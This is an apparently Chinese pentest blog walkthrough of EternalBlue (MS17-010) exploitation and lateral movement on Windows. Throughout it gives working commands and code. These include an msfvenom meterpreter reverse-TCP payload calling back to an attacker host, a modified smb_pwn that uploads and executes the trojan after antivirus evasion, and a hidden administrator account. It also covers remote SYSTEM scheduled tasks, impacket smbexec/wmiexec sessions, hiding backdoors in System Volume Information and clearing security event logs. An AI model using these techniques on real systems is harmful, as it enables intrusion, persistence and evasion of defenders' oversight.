我们今天的故事,从永恒之蓝开始……
工具地址:https://github.com/worawit/MS17-010
管道探测:
python2 checker.py 192.168.154.138
程序执行:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.154.159 lport=4444 -f exe -o rabbit.exe
变更如下函数,免杀处理后发送木马到目标指定目录并执行:
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
smb_send_file(smbConn, '/home/rabbit/rabbit.exe', 'C', '/Users/Public/rabbit.exe')
service_exec(conn, r'cmd /c c:\\Users\Public\rabbit.exe')
python zzz_exploit.py 192.168.154.138
脚本语法是需要管道名称的,如不指定则自动选择,如下上传并执行成功。
当然,这里只是个例子,运行的不一定是msf,自行替换。
账户控制
同样,使用zzz_exploit.py
,函数变更如下新增账户:
def smb_pwn(conn, arch):
service_exec(conn, r'cmd /c net user shadow 1q2w3e4r! /add & net localgroup administrators shadow /add')
IPC$连接
#建立ipc$连接
net use \\192.168.15.180\ipc$ "1q2w3e4r!" /user:rabbitmask
#断开全部连接
net use * /del /y
#将目标C盘映射到本地的z盘,渗透测试一定不要做这个
net use z: \\IP\c$`
#把本地文件复制到目标主机的共享目录
copy C:\Users\RabbitMask\Desktop\rabbit.exe \\192.168.15.180\C$
#查看文件是否存在:
dir \\192.168.15.180\C$\rabbit.exe
#远程增加定时任务:
at \\192.168.15.180 21:38:00 C:\rabbit.exe
#取消全部定时任务
at \\192.168.15.180 /delete /y
#查看当前定时任务
at \\192.168.15.180
然而在我们的PC>win7版本时,不再支持at
命令,替代方案为schtasks
:
#创建定时任务
schtasks /create /tn "test" /tr c:\rabbit.exe /sc once /st 10:02 /S 192.168.15.181 /RU System /u rabbitmask /p "1q2w3e4r!"
#查看当前定时任务,如不加/tn test则查看全部
schtasks /Query /tn test /s 192.168.15.181 /u rabbitmask /p 1q2w3e4r!
#删除掉刚刚增加的定时任务
schtasks /Delete /tn test /F /s 192.168.15.181 /u rabbitmask /p 1q2w3e4r!
#参数解释
/create表示创建计划任务
/tn表示任务名
/tr指定运行的文件
/sc是任务运行频率
/st是执行时间
/s指定远程机器名或ip地址
/ru指定运行任务的用户权限,这里指定为最高的SYSTEM
#查看远程目标进程列表:
tasklist /s 192.168.15.180 /u rabbitmask /p 1q2w3e4r!
#杀死pid为1000的进程
taskkill /s 192.168.15.180 /f /pid 1000
#杀死名为rabbit.exe的进程
taskkill /s 192.168.15.180 /f /im rabbit.exe
目录选择
为什么要单独拿出目录选择来说道下呢,我们来看个比较,首先是administrator权限看到的C盘根目录:
然后我们通过木马的提升的system权限看一下:
可以看到其中有几个目录是用户看不到的,包括administrator,只有system拥有访问权限,这里就是后门最佳的隐藏地点。
其中System Volume Information
可写作system~1
,不用担心空格等问题:
会话获取
既然已经创建完账号密码了,想直接执行命令的话ipc$其实并不太方便,我们直接smb登录目标。
为什么不用RDP?我也问过同样的问题,差点没被内网大佬喷死,有些场合RDP确实风险极大,与君共勉。
这里安利个python的第三方库impacket
项目地址:https://github.com/SecureAuthCorp/impacket
- smbexec
其中有个打包好的工具smbexec,这里卖个关子,这里会用到,后边讲PTH也会用到。
python smbexec.py rabbitmask:[email protected]
这里我们已成功通过smb登录目标,且权限为system,最后建议退出方式exit
,否则可能有未知错误,尝试指定下共享路径。
python smbexec.py rabbitmask:[email protected] -share admin$
这里插一句,共享路径是指的即逻辑共享(C$,D$,E$……
)和系统目录(ADMIN$
)共享,可通过net share
了解:
- wmiexec
这是后来smbexec出现编码bug,大佬推荐的另一款工具,同属impacket
包,他的使用需要调用wmi
服务,占用目标的445、135和另一个随机端口,而smbexec只使用445端口,这一块协议/服务底层问题感兴趣的可以继续深入研究。
python wmiexec.py rabbitmask:[email protected]
- msf_psexec
上述脚本在应对某些目标机是可能存在命令编码问题,这可能是python环境导致的,所有提供个保底方案,msf。
use exploit/windows/smb/psexec
set rhosts 192.168.15.181
set smbuser rabbitmask
set smbpass 1q2w3e4r!
日志清理
适用范围>=win7
wevtutil gl security
查看SECURITY日志的详细信息
wevtutil cl security
清空SECURITY日志
同理可操作其他日志:APPLICATION
、SETUP
、SYSTEM
、FORWARDEDEVENTS
。